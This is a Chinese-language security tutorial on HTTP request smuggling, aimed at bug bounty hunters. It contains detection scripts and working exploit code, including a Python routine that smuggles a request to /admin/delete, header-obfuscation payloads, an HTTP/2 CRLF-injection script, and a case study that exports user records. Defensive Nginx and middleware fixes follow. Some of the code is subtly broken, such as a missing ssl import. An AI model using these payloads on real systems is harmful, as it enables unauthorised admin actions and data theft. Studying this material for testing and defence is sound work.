适合人群:中级安全测试人员、Bug Bounty Hunter
前置知识:HTTP协议基础、Burp Suite基本操作、Web代理原理
一、前置准备
环境与工具
# 靶场环境(二选一)
# 1. PortSwigger 靶场(推荐,无需部署)
# https://portswigger.net/web-security/request-smuggling
# 2. 本地靶场部署
git clone https://github.com/vulhub/vulhub.git
cd vulhub/http/CVE-2020-13757 # Apache HTTPD smuggling
docker compose up -d
# 必备工具
# - Burp Suite Professional(Repeater + 插件Turbo Intruder)
# - Python 3 + requests 库
# - curl(HTTP/1.1 原始请求构造)
pip3 install requests
检测脚本
# smuggling_detector.py — 快速检测CL.TE和TE.CL走私
import socket
def check_cl_te(host, port=80, https=False):
"""检测 CL.TE 类型走私"""
payload = (
"POST / HTTP/1.1\r\n"
f"Host: {host}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 6\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
"G"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((host, port if not https else 443))
if https:
import ssl
sock = ssl.wrap_socket(sock)
sock.sendall(payload.encode())
try:
resp = sock.recv(4096).decode(errors='ignore')
# 如果下一个请求被"G"污染,返回错误 → 存在CL.TE
return 'timeout' in resp.lower() or '400' in resp[:20]
except socket.timeout:
return True # 超时通常是走私成功的表现
finally:
sock.close()
def check_te_cl(host, port=80, https=False):
"""检测 TE.CL 类型走私 — 耗时更长,需发送两个请求"""
payload = (
"POST / HTTP/1.1\r\n"
f"Host: {host}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 4\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"5c\r\n"
"GPOST /404 HTTP/1.1\r\n"
"Content-Length: 15\r\n"
"\r\n"
"x=1\r\n"
"0\r\n"
"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((host, port if not https else 443))
if https:
import ssl
sock = ssl.wrap_socket(sock)
sock.sendall(payload.encode())
sock.settimeout(3)
try:
data = b''
while True:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
except socket.timeout:
pass
finally:
sock.close()
# 如果第二个请求返回404(被走私的GPOST触发),存在TE.CL
return b'404' in data
if __name__ == '__main__':
import sys
target = sys.argv[1] if len(sys.argv) > 1 else 'target.com'
print(f"[*] 检测 {target}:443")
print(f" CL.TE: {check_cl_te(target, 443, https=True)}")
print(f" TE.CL: {check_te_cl(target, 443, https=True)}")
二、核心原理
什么是HTTP请求走私?
HTTP请求走私(Request Smuggling)是利用前端代理(CDN/负载均衡/反向代理)与后端服务器对HTTP请求边界解析不一致的漏洞,将恶意请求"走私"到后端,使后端将一个请求中的部分数据解析为下一个请求的开头。
本质原因:HTTP/1.1 协议允许两种方式定义请求边界——
- Content-Length(CL):Body 长度由
Content-Length头部指定 - Transfer-Encoding(TE):Body 以 chunked 编码分块,以
0\r\n\r\n结束
当前端和后端各自选择不同的方式解析时,就产生了走私窗口。
三种基础走私类型
| 类型 | 前端解析方式 | 后端解析方式 | 危害等级 |
|---|---|---|---|
| CL.TE | 优先用 Content-Length | 优先用 Transfer-Encoding | 🔴 高 |
| TE.CL | 优先用 Transfer-Encoding | 优先用 Content-Length | 🔴 高 |
| TE.TE | TE,但处理chunked方式不同 | TE,但处理chunked方式不同 | 🟡 中 |
# CL.TE 示例流量
POST / HTTP/1.1
Host: target.com
Content-Length: 13 ← 前端认为 body 13字节
Transfer-Encoding: chunked ← 后端认为 chunked 编码
0 ← chunked结束标记(后端认为请求已结束)
SMUGGLED ← 前端认为这是POST body的一部分
← 后端认为这是下一个请求的起始
三、实操步骤
场景1:CL.TE 认证绕过
# 步骤1:基础检测
# Burp Suite Repeater 中发送:
POST / HTTP/1.1
Host: redacted.target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked
0
POST /admin/delete HTTP/1.1
Host: redacted.target.com
Content-Length: 10
x=
# 步骤2:连续发送两次(第一次"预热",第二次触发走私)
# Burp Repeater 直接点两次 Go,观察第二次的响应
# Python 自动化利用
import requests
def smuggle_cl_te(base_url, smuggle_path):
"""CL.TE 走私 — 请求管理接口删除用户"""
smuggled = (
f"POST {smuggle_path} HTTP/1.1\r\n"
f"Host: {base_url.split('://')[1]}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 15\r\n"
"\r\n"
"username=admin\r\n"
"0\r\n"
"\r\n"
)
payload = (
"POST / HTTP/1.1\r\n"
f"Host: {base_url.split('://')[1]}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(smuggled)}\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
f"{smuggled}"
)
# 发送两次 — 第二次触发
for i in range(2):
s = requests.Session()
s.keep_alive = False
try:
r = s.post(base_url, data=payload, timeout=5,
headers={"Connection": "keep-alive"})
print(f"[{i+1}] Status: {r.status_code}")
except Exception as e:
print(f"[{i+1}] {e}")
smuggle_cl_te("https://redacted.target.com", "/admin/delete")
场景2:TE.CL 绕过前端ACL
# TE.CL:前端用TE解析 → 认为整个请求合法
# 后端用CL解析 → 认为body在第4字节结束,后续内容走私
POST / HTTP/1.1
Host: redacted.target.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /admin HTTP/1.1
Content-Length: 10
x=
0
# 关键区别:5c 是 92 的十六进制,代表后续92字节是chunk内容
# 前端解析chunked:完整读取92字节chunk + 0结束标记
# 后端解析CL:只读4字节,剩下的"GPOST /admin..."成为下一个请求
场景3:TE.TE 混淆绕过
当前后端都支持TE但处理方式不同时,可以通过混淆chunked标记实现:
# 方法1:重复TE头部
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: identity ← 某些前端取最后一个,后端取第一个
# 方法2:头部值加空格/混淆
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked\r\n ← 空格在\r前
Transfer-Encoding:[TAB]chunked ← Tab替代空格
# 方法3:修改Transfer-Encoding大小写混合
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: xchunked ← x前缀使前端忽略
Transfer-Encoding:[空格]chunked ← 后端仍解析
四、绕过技术
4.1 头部混淆矩阵
| 混淆方式 | Payload | 适用场景 |
|---|---|---|
| 重复CL | Content-Length: 0\r\nContent-Length: 100 | CL.CL冲突 |
| 截断CL | Content-Length: 100\r\nContent-Length: 0 | 前端取第一个 |
| 换行变体 | Transfer-Encoding:\r\n\tchunked | 处理空白符差异 |
| 编码混淆 | %54%72%61%6e... → URL编码 | Nginx/Apache差异 |
| 多值TE | Transfer-Encoding: x\r\nTransfer-Encoding: chunked | 取第一个/最后一个差异 |
4.2 HTTP/2 降级走私
现代服务器多使用HTTP/2,但反向代理与后端之间可能降级为HTTP/1.1:
# HTTP/2 → HTTP/1.1 降级走私(h2c smuggling)
# 利用HTTP/2的伪头部(:method, :path)注入CRLF
:method POST
:path / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n
# h2c smuggling 检测
import h2.connection
import h2.events
import socket
def try_h2c_smuggle(host, port=443):
"""通过HTTP/2连接尝试H2C降级走私"""
conn = h2.connection.H2Connection()
sock = socket.create_connection((host, port))
sock = ssl.wrap_socket(sock)
conn.initiate_connection()
sock.sendall(conn.data_to_send())
smuggled_path = "/ HTTP/1.1\r\nTransfer-Encoding: chunked\r\nHost: " + host
headers = [
(':method', 'POST'),
(':path', smuggled_path), # CRLF注入点
(':authority', host),
(':scheme', 'https'),
('content-length', '0'),
]
stream_id = conn.get_next_available_stream_id()
conn.send_headers(stream_id, headers)
sock.sendall(conn.data_to_send())
# 读取响应
data = b''
while True:
chunk = sock.recv(65535)
if not chunk:
break
data += chunk
events = conn.receive_data(chunk)
for event in events:
if isinstance(event, h2.events.ResponseReceived):
print(f"Stream {event.stream_id}: {event.headers}")
sock.close()
return b'404' in data or b'error' in data
五、实战案例复盘
案例:某CDN保护的电商平台(已脱敏)
发现过程:
- 观察到
CDN-cache: HIT/MISS头部,确定前端是CDN缓存层 - 基础检测发现CL.TE存在(响应延迟差2-3秒)
- 利用走私绕过
/admin路径的WAF限制
利用链:
# Step 1:确认走私存在 → 发送后下一请求返回"Unrecognized method GPOST"
# Step 2:构造免杀payload → 使用分块+填充混淆
POST / HTTP/1.1
Host: target.com
Content-Length: TOTAL_LEN
Transfer-Encoding: chunked
CHUNK_SIZE_HEX
GPOST /admin/export-users HTTP/1.1
Content-Length: 50
x=1
0
# Step 3:导出用户数据 → 后台返回5000+用户信息(姓名+手机+地址)
# Step 4:上报厂商 → 48小时修复,获高危漏洞赏金
关键经验:
- 不要直接走私恶意请求 — 先走私无害检测确认存在性
- 在chunked body中使用填充字节(
x=1)对齐长度 - 部分CDN需要
Connection: keep-alive才复用连接
六、防御建议
服务端修复
# Nginx 配置修复
location / {
# 拒绝多个Content-Length
if ($http_content_length ~* ',') {
return 400;
}
# 拒绝Transfer-Encoding: chunked中的混淆
proxy_pass http://backend;
proxy_http_version 1.1;
}
# 或使用 OpenResty + lua 规则校验
# Python WSGI 中间件防御
class SmugglingProtectionMiddleware:
def __init__(self, app):
self.app = app
def __call__(self, environ, start_response):
# 检查是否同时有CL和TE
has_cl = 'CONTENT_LENGTH' in environ
has_te = environ.get('HTTP_TRANSFER_ENCODING', '').lower() == 'chunked'
if has_cl and has_te:
start_response('400 Bad Request', [('Content-Type', 'text/plain')])
return [b'Request smuggling detected']
if environ.get('HTTP_TRANSFER_ENCODING', '').lower() == 'chunked':
# 丢弃所有Transfer-Encoding头部,后端统一用CL
pass
return self.app(environ, start_response)
修复清单
| 措施 | 优先级 | 实施方式 |
|---|---|---|
| 统一使用HTTP/2 | 🔴 高 | 禁用HTTP/1.1降级 |
| 拒绝重复CL/TE头 | 🔴 高 | WAF规则 / 代理层拦截 |
| 后端标准化请求 | 🟡 中 | 重写解析逻辑,统一用CL |
| 禁用Connection复用 | 🟢 低 | 关闭Keep-Alive |
七、常见陷阱
❌ 陷阱1:单次检测误判
# 不要只发一个请求就下结论
# 有些CDN需要"预热"(第一个请求建立连接)
# ✅ 正确做法:连续发3-5次取统计
for i in $(seq 1 5); do
curl -s --raw "$PAYLOAD" https://target.com/ | head -1
done
❌ 陷阱2:Content-Length计算错误
# 计算走私payload的长度时,忽略了解析差异
# 某些proxy会在CL中计入\r\n,有些不计入
# ✅ 用脚本精确计算
python3 -c "
smuggled = '''POST /admin HTTP/1.1
Host: x
0
'''
print(len(smuggled.encode('utf-8')))
"
❌ 陷阱3:HTTPS环境忽略SSL
# ⚠️ 裸socket发送走私payload时,HTTPS需要先wrap
# ❌ 直接用原始socket连接443端口
sock.connect((host, 443))
sock.send(payload) # SSL握手失败!数据被加密传输
# ✅ 正确做法
import ssl
ctx = ssl.create_default_context()
sock = ctx.wrap_socket(sock, server_hostname=host)
sock.sendall(payload.encode())
❌ 陷阱4:忽略chunked编码大小写
# 某些后端只识别 "Transfer-Encoding: chunked"
# 如果前端改写为 "transfer-encoding: CHUNKED",后端可能忽略
# ✅ 结合前端改写规则,测试多种大小写组合
八、总结(含速查表)
检测速查表
| 类型 | 检测Payload | 判断方式 |
|---|---|---|
| CL.TE | CL=6, TE=chunked, body="0\r\n\r\nG" | 下一请求报400或超时 |
| TE.CL | CL=4, TE=chunked, body="5c\r\nGPOST..." | 下一请求返回404 |
| TE.TE | 混淆TE值(重复/加空格/截断) | 同一payload不同响应 |
| H2C | HTTP/2伪头部CRLF注入 | 响应异常或连接重置 |
利用速查表
| 目标 | Payload技巧 | 工具 |
|---|---|---|
| WAF绕过 | 走私到内网管理接口 | Burp Repeater + Turbo Intruder |
| 缓存投毒 | 走私+响应头注入 | Smuggler.py |
| 用户数据泄露 | 走私 + 响应拆分 | HTTP Request Smuggler (Burp) |
| ACL绕过 | 走私伪造X-Forwarded-For | 自定义Python脚本 |
权威资源
- PortSwigger: https://portswigger.net/web-security/request-smuggling
- HTTP Request Smuggler (Burp Plugin)
- Smuggler.py: https://github.com/defparam/smuggler
- 论文: https://i.blackhat.com/us-18/Thu-August-9/us-18-Klein-Practical-HTTP-Request-Smuggling.pdf